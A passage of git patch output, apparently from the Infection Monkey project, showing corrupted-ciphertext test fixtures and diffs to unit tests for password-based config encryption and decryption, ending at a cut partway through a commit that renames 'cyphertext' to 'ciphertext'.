b"\xd1\x81\x8e.\xf5\xdf\xc7Z\x18\xc5\xe9\xfc\\\x135B\xd6!-\x0c\xad" - b"\xc4!\xa5-\x02\x19V\x80\xe1\x98\xe3\x9a\xeb\xb5\xb1^\x94/F\x1c" - b"\x92f\x011\x05\x86\xdb\xdaQ\xa7\xff\x15&\x83\xca\x0b\xbf|k\x0em" - b'"\xf4\xb67\xc0\x8f\xe1\xa0s\x1e\xf0\xec\x98\xd0Zk2\xa4\x85v{' - b"P\xaa\x96\xb3\xa4N\xd0," - b"\xf9\xcbiq\xa7IP\xd9\x1d\x8a\x0fW\xf4\x8fnGc\x9e22!\xf24\xa3:\xbd" - b"\x83\x93\xc5Hq\xcc\xc9\xbd\xef\x9b\xa6f!\xd4p\x8c\x9cN\x0f\xc9d" - b"\xf5o\xa6\x1c\xf8\xed\\/r\x8c\x8d\xa9\x85\xe5\x19]J\x02S\x10\xef" - b"\x1ffg\xaf\x1f\x077}\x81\x9d\xe6\xaa\x99k\xec\x19\xe90\xef\x0b\x93" - b"\x0eZ\x96hq\x1be\\_\\d\x1c\xc9\xcb\xd1\x87E?$\x0f\x93\xf9\xa8Z\x10" - b"\xd4)\xb4j\xa4\x16\xaa'\xda\xd0]Fz\xd7\xff\xff9\xe8\xfd\xa0H\xe3" - b"\x814\xc6t[\x0e\x81\xf4\x12N\xbc\xb9(" - b"SU\xd9^%\xaeQc\xc7\xf8\xcayo9\xb3\xef\x194\xa3\xe2\xfcZ\xf6[" - b'\xd4]2\x1a\xe8u\x92\x19*~\x93b\x13\xed"\xd2\xcaV\x05R.&D\xb0m' - b"\x93rb\x15\xe2=\xfb\xb9\xcc+\x0f\x9c\x1c\xff\xe4\x18a\x85\xe4\xd0s" - b"\xed\xc3H\x88\x07P\xbed\x0c\xf7\x97j\x1d\xf2'\xce&\xbe1A\xca\x0e" - b"\xb3H\x08\x01\xc5\x87F#\xf6TB\xc5\x9f\\\x9ex\x06\xd3\x85&\xdf\x9a" - b"\\X\x1d\x9bm\xe60\xf3;\x06\xa9o7\x99\xa3:\xce\xbb\xba\xe3\xc4\xe5" - b"\xa9\x01\xfbJ\x11tJ\xd4\xc7\xc7\xf1s=8k\xc29c\x8c\xdfdA\xf76\xdd" - b"\xdd\xf8\x16\xf3\x8d\x96gP\xad\xd4\r1\xd3\x1d@\xbb#o\x98\x13\x9d" - b"'\xb2\xb5\x1dl\xe5\x01\xce\x0f\x80\x7f5\x80\x1dp>\xee_\xc2OK\x95" - b"\xd5\x16E\xea\x82\xf5\xa8\x88A\xa2\x1e\x0c\xc8\x05\x81\xda\xfe\xb6" - b"\xe5\x8f\xd8W\xb4\xbeS\xcd\x130\x0c\xa4\xd9\x1d\xf6\x96\xa3\xee" - b"\xb30\xbd " - b"\t\\\xd6\xa1\x8b\x85\x16\xf6dJ4\xd7\x85\x96|3\xae\xab\xb7>\xf8\xf9" - b"\xf7h\x8f\xcc\x9b=B]G\xd5L3g\xbd%\x84\xbe\xf4\x8a\x07\xb3\x863" - b"\xc2uz\x84-\xe436\x14\xbd\xda\xc74.\xdan\x8e\x04VJq\xcdo\x8a\x05" - b"\xe6\xec\x84\xdc\xa9\x84\xb3\xa5T\xa7M\x05\xfc\xc3\x04\xd6p\xb0y" - b"\x83\xc2\xc7i\x9at.\x1dh\x99\xfe}(\x98\xa7){" - b"\xa9\xa6\xa63\xcc'0A\xd9Q\x99-\xd0$)\xbda\xa0\xbf#\x9e\x19\xe5" - b"\xb7q\x89\xda\xbaj\x1b\xe3\x8aW\xb6\xd0\xc5\x819\xfa\x8d\x9a\x14" - b"\xaf\xb1\x08\x97>*\x7f(" - b"\x9c\xd3\x99o3\xbew'/\x14\x9e\x9f#_\xaaDgg\xa6\xc7\xa6}8J\x14\xa8" - b"\xcb\xbf\xdeQ," - b"zHze\xbfe\xdfr|\xbd\x9dd\xfb\xccq\x18\x9dw\x01\xe5JY\x1b\xca\x12" - b"\xaed]\xadi\x7f\x0c`6\xb6X\xbe0\x83b\xc6\xc5>\x1e\xab\xfa\xb7\x0c" - b"\x08\xf6\xa9\xed\x14\xc9(\xf1m\xc6\x90w\xe9\x85\x9d{" - b"\xba\x93x\x00\xf7\x8d\x0f\xa2\xef\xc5\xfexp\xb2\xa9\xf4\xbb\x80" - b"\x13\x8e2bm\xf0U2\x1a\xa7\xa4PK\x11\xc7\xab3\n\xe5(" - b"y\x05\x1a\x07\x0e\x8cO\xee\xc9\x83\x84L\xae\x19\xc1\xab\xbf\xc9" - b'\xae\x8a\xe3\xbb\x19c\x0f0\xa9\xe8\x1e\xfe\xcb\xa3T"p\r\xe8b}Y\x86' - b"\xc0s\x9d\x1bc\xd6\xec\xab6\xd5\xcf\xfaw\x7f\xa8K\xe4Z4Sj\xe8\xda" - b"`\xe9\x8e\xf0M\xee5G\xc6\xb6\xef\x97\r&C\xa60\xcc\xf4\xb8\xd0a\x16" - b"!\xda=\xd4\xb4\x84\xc6\x99\xf4\x9c[" - b"\xda'R\x80\xf1\xa2m\xe0\x14\x1b\xe2\xee\xd6\x81\xf2\x19\xe6\x9aC" - b"\xac6\xb8\xe9\x89\xe9\xb4UM\x027\xc4(" - b"\n\xe3\x8a\x85a\xad7~\xa71\xd1w065a\x87T\xbc\x89v\xca\xe4\x80\x9f" - b"\xe1\x10p\x1c\x14\xc2\x0c-\xd4q\x0e'\xcf[" - b"\xe0\x163Jj\xd1\x03u%B:\xda\xc9\x08*\xf1\x1d,\x80,," - b"I\xcc\x8c\xe9\xb8U{" - b"\xcb\xde\x8b\x1dB\xd9\xa1\xf1\xcfY\x14\x16\x86\xd9\xe4\x8d\xc0\xc5" - b'<^\xce"\n\xdd\xdf\x1cb\xf1M\xb8\x10$\xcf\x04\x1bU*\xe9\x19\x8c\xf7' - b"\xff\xfdl\xaf\x92\x11\xdb{" - b"\x1c\\\r" - b"\x90\x0fva," - b"\xcc\x18j\xab\"4'\xd3\xcfo|yE\xb8\xa1\xc0\x927\xa7\x1dh\xba\xab" - b"|\x8b\xeb\xf2G\xcc\xd2a2al\xa55\xb6\xd5\xc5\xc1\xa6q\t\xca\xf4\xdc" - b"\x9b\x00\x9b\xe2\xa3\xd7\xd4\x19\x88\x05\xb2\x0e\xc8\xf3\x0b>\x18" - b"\xcfd\x05m\x85\nB*\xa2$\xf6I'\xe4\xa2_w1*\xe2z4#\n\xcf\xd9J\xa3" - b'\xf9q\xc4\xc1"\xf9\xbd\xb3J,' - b"J\xd4v+U\x8c\xafG\x86\xae\xce/w\xee\x94x\xb1h7z\xbd\x02\x12\xc6" - b"\x16\xcb\x14\x80(\xab\xfb\x16{" - b"\xb2\xd1\xe9\xd9\xd7\xd9\x9bq`\xdfRB5\x04t\x8d\nq\x1a\r@k\xec\x04" - b"\xb2\x8c\x00\x00\xe4\x86;\xae\xbe\x9b\x0ccp\xdd\xb8~\xb6\x9b1\xf1" - b"'\x12\x99\xab\xcah\xd1i\xa9r\x18\xfc\x93" - b"\x86W{{\x92\xa9(" - b'\xee"C\xa3uG\xc3s\xb8\xc6\xb7\xb9\x17\xf3\xe3n;\x16\x08\x9e,' - b"\xbd\x0f\xbe.\xd9\xc3F\xa0\xfe\x84\x1f\x8a\x97\xc9T\xea\x08_\xc5I" - b"\xf9v\tI\xf0\x0e\xbex\xd9\x9f\xe7Z\xd6\x1a]\xc1\xbb\x97 " - b"\x8a\x8f\x00\x1f\x92.\xc1WC\xd8\xe3\x86\x98PV\xfbWV\xbd\xdf\xd5" - b">1yo\xf1\xabV\xb2\xdf\x97\x82$0\xc8#\xbe\xbb\xe1\xed\x08\x8c@7\xab" - b"~\xdf\x8c\xf9\xbb\x9e\xc6\xa0Q\x85}\xe7\x00|\xe7'\x00{" - b"\xd9v1\xd5\x8a-C," - b"\xa7S\xfc\xc3\x83\xef\xadV\x1b\n\x1b\xb3\x0bK\xa0\xc6\x02i\xf6\x80" - b"\x06F>\x01\x01\xef\xe3\x19\xbf\xb1\xe0S~9\x88\xc5\x9a{" - b"K\x9e8rFp\xa3\xcclX," - b"\xe5\xf1o\x90\xa3\x13\x9c\xf0\xcd\xf3l@\xb60\xde\x19\xcen\x19\x80w" - b"\x0b\xfd\xa8\xafuP\xef-/\x92*\xdd\x93\xdc=9\x90\x0f-\xc4wxa\xc1" - b"\xb7SSe\x0fY\xc3!\xee\x16\xdc\xf8\x93\x03<\x1d?\xec\xce\xcf\xd5" - b"|)\xabu;Y!\xd6M\xcc\xbd\xcc\xec\xa6J\xb7\xbci\x91)\x14h\xec\xc3R" - b"\xb6/\xfcA\xab\x9f\xb8.W\x92\xc4\x8b\xa3D\x91\x8a\xb1\xbc\tJ\xd5" - b"\xb98\xe6c\xcc\xa6'\xb7NK\xf8\xdal\xabd\xc4\xde\xea\xd4~\t\xd9" - b"\xd3\x7f\xb8\xe1J\x8e\xf9X\xe4\xcd\x04\xa0\xc0vp\xe9\xe7\x8e\xd0[" - b"m\xe2\x8dY\x8c\xcd\x81Ny\xac\xbb`\x10ky\x1c\xe3\x9a\x1b\x88G\x1d" - b"\xdc\xc8\xa6\xf7\x1f\xbf\x87\xe9\xac\xfc5/\x8c\xf7k\x85\xb8\xc7d" - b"\x11\xe2\xd8T\x0c\x1a\x85\xc5\x93-\xfe\x85\x87\x03\xb4\x97\x97" - b"~\xb5\xcf|\x05\xf4SE1\xddf?\xae\xe5\xfd\x8c\xf0qu\x92sPz`\xa2\xb6" - b")\xa1\x08A\x18\xb0>\xc4\t\x17|\xac\xccH\x7f\x85\xd2zCK\xf7\xf5" - b'\x12{\x7f_\xc2"\xd6XQ>\x12W1\x06\xbe\xa1\x0f\xf0K\xd9\xaa\x1a\x90' - b"\xee\x90U\xf0\xec$\x1a\xc4\xe07\x92\x1f\xc4\xb5g\xebz\x900\x04\xb6" - b"\xec\xdd\x19iG\xfc=\xef\x0f\xaap\xb4h\xda\xcak\xf9\xc2\xdf%]\xad" - b"\xf5|\x19\xd2\xe46\xb6\x11k#\xf6\xa7t\xc1\xf4\x13B\x08\xeej\xe89" - b"\xbe\xfc\xbds\x19\xcf\xe5'\x84P\xf5\xd5\x88\x18\x1d`k\t%\xb9{" - b'\xa1\xec&\x9f\xee$R"\x81(\xe25V8m\x84\xa3Qb=CZ\x1d\xc6\xc7{' - b'\xc9"\xfcSW\xdb\xce\xd5\x0f%\xff\x85\xbb\xcbS\x83+\x9aA\x1e\xe6uf' - b"\xf9\xa8K\xc3(\xaa/\xe8[" - b"\xa9U|M\x0f\xdb\xea\\\xf5\x06\xbeK\xb67>~\x8a-\x8b\x08\xbc\rV\xbe" - b"\xa4=+|\xc6\xc1A\x02Jv\x8e\x99\x89E\xae\xe8\xac1\xb7a\xd9\xdeN" - b"\x934\xae\r\x91\xe3\x05M\x04\xb0\xb0-S\xdf\xe3A\x99h\x7fJ\xbf\xcfl" - b"\r(s4sj\xe0\x8eD\xc2\xb4\xa3\xb6\x8a\x9f\x0f," - b"\xbeU\xf3\xa0h\xb4\x9b\xf9O\xf20\xdc2\xcf\xd9(" - b">n'dc\xd9\xce3!z_\x16\xe6\xac\x8cg\x80][" - b"n\xe8\xf6\xdb\x92FJ\x19\xd0\xb5\xc4LM\xfb\xaa&\xd9\xfb1\x11l\xb1" - b'\x82\xc0\xe0\xf7\x91\xf8c"\xac\xe0\x11\xcd\x11\xd7\xa5\x82M\xf9' - b"\x13V\x8b\n\xde7\x87\xbd\xb6\xe4\\z\x15#\xbb\xec\xe3\xe9c{" - b"\xd5\xa3\x98\xf5\x0f)\x86W\xf1H\x92DU|I\x0f\x83I\xa9\xe4\x1c\x7f" - b"&>\x84\x08>S+H\xf5\xbc\x1c\xfd8\xb8\x19\xda\x08\xb4\x9a\xf9\xc9" - b"\x16\x0f\xda\x10\x07\xbd\xb7\x14\x92`\\\xbd=\xe2\xec^\xca\x14Q\x9a" - b"\xc4\xdd\xcf\xf8{" - b"D\x03\xb3\xb0\xf9\x8c7\x19\xf1\xe2\x07I\xa8/\xc6\x9b\r\x1f\xb87" - b"\xe8\x99\xff\xaf\xd7\xe2\x91\xbb\x88\xc2\xaem|\xeb0T}\x83\x80\xe9" - b"*D\xb1\xe4\xa5p\xa14\xda\x9d\xeaR\x9f\x0c\xe0\xc5\xb6b\x82\xff\x80" - b"\x86J\xa0\xa6Eg\xd3b\x99X\xc3\xb98\xa2\x18\xb8\xe6\xc3\x01T\x8d" - b"\xf2b\\\xa5\xa2\xc5\x89\x85\x9c\x1a\r.\xcc\xe1x\x9f\xc3\x10\x7fc" - b"\x00'\x10h\x1f\x82\x1e\xcel\xc1\xe3\xe5Rq\x10\xa2=\xe2\x1f\x93\xff\x04\xd8\xd3\x1eL\x8e8W" - b"\xef!\x8e\xdb\x14\x1c\xa1tz\xee\xca\x89dA\xe1\xa9K\x96/\x96\xc9YS" - b"\xcc\x07vM\xaeCi\xfc\xfdA\x01," - b"\xb0\x06J\xb7\xf5\x84\xf7\x1e\xc6\x05\xc5\tw\x9e\xf4\x0bH~.ah\x04" - b"\xce%\xbdK\xc4\xbbM\x82\x0c\xcd\xf4\x99\x9c\xa5^\x97\xfcj\xbe" - b'"_\x01\xec(' - b"\xd4\xb8\xddmF\xe9S\xaa\x92\xdc\xa4a\xee\x02\x84N\xe6\xb1\xc8\x1b" - b"\xb0\xb6\x90#>\xaeKk:\xf6\xef\x10\xe8\x03q\xac\\\x19\x1f\x17r\xc7" - b"\xdf\xce\x8fC\xd8\xb3C\xf8\x99\xb5\x15\x8a\x9b\xdc\xc0\xd1U\xa7.B" - b"\x9c\xb3\xe0G\x90Qf|\x9d\x97v\xfbD\x95B\xf3\xa1\xa6=\x08\xea\xee" - b"\xfd\xa9\xaa:\x80\xeb\x992\xcf\x9ed\x16\xd2\x92\xdaW\xd1\xb4P" - b'\\\x9e\x9d"\xcb\xc3\xf0Q\xeb\x96\x90*\xaf\xe2{' - b"\xf6y\xf6\xc6\x87jM'G\xcb," - b"\x9c\xbb\xcc\xf3\xab\xf4\xd0\xd7\x0c\x98H\n\xbb\xf0\xc2\x16\xe6" - b"\xcd\xd8\xa0\x02@6\xcbg\x1a\xc7\x16\xd4r\x0f\xbb\x04\xad\x1dY\xa0" - b":\x086d\x10V\xd5\x1cbKA\xb0\xbcjd\x9d8\xfc\xbc~\xeb!\xf8\xf0\xf4" - b"\xd2\x06\x9c<\xdcK\xda\xdbi\x1b\xf3\x9d\xdb\x97\xfe\xdfq(" - b"'\xb8\x8b(\x06o\x06\xba\x9a\x1d\xc6U_<9\x820,~\x92Z^\xf1 " - b"\xa0\xa5\xd1\xd4h\xae\x90u\xf5\xe8\x87&\xe9\x94\xec\xa9\xaa\xc7" - b"\x7fW\xd5\x99\x86\xa3\xf5rWa\x9f\xbb]D(" - b"zF\xa9\x04\xa2PZ\\\xe5\xff\xac\xa0\x93xV\x93\x9d\x0e\xe8?\x9d\xa1w" - b":m~\x92a\x98I\xdf\xe8\xf3\xae\xed\xf5\xfd(" - b"rj\xb2\x86\n7@\xe6=\xed\x1b\x91\xe3No\xdf:c\\_\xb4z\xdej\x98\xf4G" - b"\xaeES)\xcb\xbeu\xb7\xec\x00t1W(" - b"J\x85L\xa7\xf8B\x14\xc4w\x99\xbe~\xef\xabp\xf3\x02\xbf!\xd4\xca" - b"\xc1U\x13\xf2\xc0k&\xb3V\xc1Bu:\x1f\x910k&*\x84\\r\x1f0\xdc\xd8" - b"\x05Kg\xc1e\x125[" - b"q\x9b\xe9;Hb\x19S\xfcP\xb3\xa7\x88\xcb)P\x1c\xe1\x06F\xc3\xeb\x08" - b"\xbd" + "QUVTAgAAGM0NKEYTESTURfQlkAcHlBZXNDcnlwdCA2LjAuMACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHEWlHUF5GTDFdrlGaUbFqGOBHE" + "/zlrkug3ee3t1iMe2ByaoBdb9O8X5bFEBUuiPSFUNe3f4YvgwCMx4Txh3Mzx" + "/LxxNioWSwon9gDw8JckpuMLJtmtdwDybpDtedF33XWBHgEpMlfyF" + "/phin3sVMWGApptTnGbzmP9o0c6toxwmZV5YcHAtoMsWh3WqpsdcmX5PwwrKt0vdYNwpX+bDOxdB7YJizWqYt" + "+505168UPbDFHhJ7lCXJ3lr56" + "/7ZwNF4NasjqehafV01KtuNhNT47wdyavI8EYGZmBhqVCTq79XzwY1OmqEgpaesaiyeJmeZwkf5/8OVYNEhA+ybixHF" + "/RCeBSUnjiTHRF+RyIX8OfY" + "/LTPNmpjbLcZ1fyP5F1VVwlNLeY1MBg3q0tzFy4NsgsvHdWAzeb1wCqAnKZrhCQ36DAaWrzH96tG4ARIFLqg1" + "+99b3Gk27UBGjYSfcTRTUU+tmj+ByfHk3DCVeX35MOFBWu7BCrw99PdlHdhIyGVE4pKgTj" + "+sKvQI60cUNznxk484dkbpKG7gQH7PHaf7xTYd543ByAs9LSIHjV3UBG" + "/h9DzlLlNl8sZgwwnQxE69yoPy4Nr9unbav4dGqXNWFkyTlqZfJ0GzzvhPL2DRRX0V18CuerYEdIv" + "/a7dh8cuy7CVVZ7BEG59INVkpo8XwJIFHJjQzvD+gUWQ4zXB+C15AogGCx" + "/7jWLAdpi36VjA03Avl6rxui55akq3d3gtsn0bSxmrhCgDteNB+x1" + "+r0WzN1gz4qsY8EejbGmgzJMC8l6TZFudU9FCpTy7XSQJlJ70Peg" + "/huVdayRYrzeuHb7j8XMXnyBiab19CUQ5q5u6kiRTl3X1umCK1Wkqk3CItpsbuPlXs7" + "+f3qNhf2ilVtsYKtNEnbY7HGo1e8nziV3ifa1YYNxOTD23A/UGpXHVm0aaXE8ywMFOqXIgjs30oYv5GFQ7L1DT" + "/ktL0a2u4ZFtFZq+6TS52+COU9bkwX+zVvKehiMf+xBINpW0+I1yEUTSr9vvpYmxi1ZY2DLzXm75vWXu5uQA" + "/pciFJiuAhfCn+DJFUHsT0LcMjHcnbtYrX8iqIPZpJMXAzhNNKBiq5pZMCfBvxLr5cOQLADj30TyrEpT+h" + "+YCDx1hVgDnoEeihpQotc3P5gQf50fJ5K236JSszgXPhZVTCc2GO7y9cVmE9OYUEgD3hDOODNN/3t8xXImVDHG" + "+h6TVhi7rKUdap767GQ1b4TUnolx3" + "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" + "+KMo2IbesHjbswZfUpvw" ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py index de80db203c8..59d189ffa64 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py @@ -1,14 +1,13 @@ -import json -import os - import pytest from tests.unit_tests.monkey_island.cc.services.utils.cyphertexts_for_encryption_test import ( MALFORMED_CYPHER_TEXT_CORRUPTED, - MALFORMED_CYPHER_TEXT_TOO_SHORT, ) -from common.utils.exceptions import InvalidCredentialsError, NoCredentialsError -from monkey_island.cc.services.utils.config_encryption import decrypt_config, encrypt_config +from monkey_island.cc.services.utils.config_encryption import ( + InvalidCredentialsError, + decrypt_config, + encrypt_config, +) MONKEY_CONFIGS_DIR_PATH = "monkey_configs" STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME = "monkey_config_standard.json" @@ -16,37 +15,23 @@ INCORRECT_PASSWORD = "goodbye321" -@pytest.fixture -def plaintext_config(data_for_tests_dir): - plaintext_monkey_config_standard_path = os.path.join( - data_for_tests_dir, MONKEY_CONFIGS_DIR_PATH, STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME - ) - plaintext_config = json.loads(open(plaintext_monkey_config_standard_path, "r").read()) - return plaintext_config - - -def test_encrypt_decrypt_config(plaintext_config): - encrypted_config = encrypt_config(plaintext_config, PASSWORD) - assert decrypt_config(encrypted_config, PASSWORD) == plaintext_config +def test_encrypt_decrypt_config(monkey_config): + encrypted_config = encrypt_config(monkey_config, PASSWORD) + assert decrypt_config(encrypted_config, PASSWORD) == monkey_config -def test_encrypt_decrypt_config__wrong_password(plaintext_config): - encrypted_config = encrypt_config(plaintext_config, PASSWORD) +def test_encrypt_decrypt_config__wrong_password(monkey_config): + encrypted_config = encrypt_config(monkey_config, PASSWORD) with pytest.raises(InvalidCredentialsError): decrypt_config(encrypted_config, INCORRECT_PASSWORD) -def test_encrypt_decrypt_config__malformed_too_short(): - with pytest.raises(ValueError): - decrypt_config(MALFORMED_CYPHER_TEXT_TOO_SHORT, PASSWORD) - - def test_encrypt_decrypt_config__malformed_corrupted(): with pytest.raises(ValueError): decrypt_config(MALFORMED_CYPHER_TEXT_CORRUPTED, PASSWORD) -def test_encrypt_decrypt_config__decrypt_no_password(plaintext_config): - encrypted_config = encrypt_config(plaintext_config, PASSWORD) - with pytest.raises(NoCredentialsError): +def test_encrypt_decrypt_config__decrypt_no_password(monkey_config): + encrypted_config = encrypt_config(monkey_config, PASSWORD) + with pytest.raises(InvalidCredentialsError): decrypt_config(encrypted_config, "") From 3450b80a82c30ffe8945c1d39a8b104c15338ece Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 11 Jun 2021 11:43:15 +0300 Subject: [PATCH 0767/1360] Refactored cyphertext to ciphertext for consistency --- monkey/monkey_island/cc/services/utils/config_encryption.py | 6 +++--- .../monkey_island/cc/resources/test_configuration_import.py | 6 +++--- ...ncryption_test.py => ciphertexts_for_encryption_test.py} | 2 +- .../cc/services/utils/test_config_encryption.py | 6 +++--- 4 files changed, 10 insertions(+), 10 deletions(-) rename monkey/tests/unit_tests/monkey_island/cc/services/utils/{cyphertexts_for_encryption_test.py => ciphertexts_for_encryption_test.py} (99%) diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py index 73c3ea8930b..70c1e12ee98 100644 --- a/monkey/monkey_island/cc/services/utils/config_encryption.py +++ b/monkey/monkey_island/cc/services/utils/config_encryption.py @@ -27,9 +27,9 @@ def encrypt_config(config: Dict, password: str) -> str: return ciphertext_b64.decode() -def decrypt_config(cyphertext: str, password: str) -> Dict: - cyphertext = base64.b64decode(cyphertext) - ciphertext_config_stream = io.BytesIO(cyphertext) +def 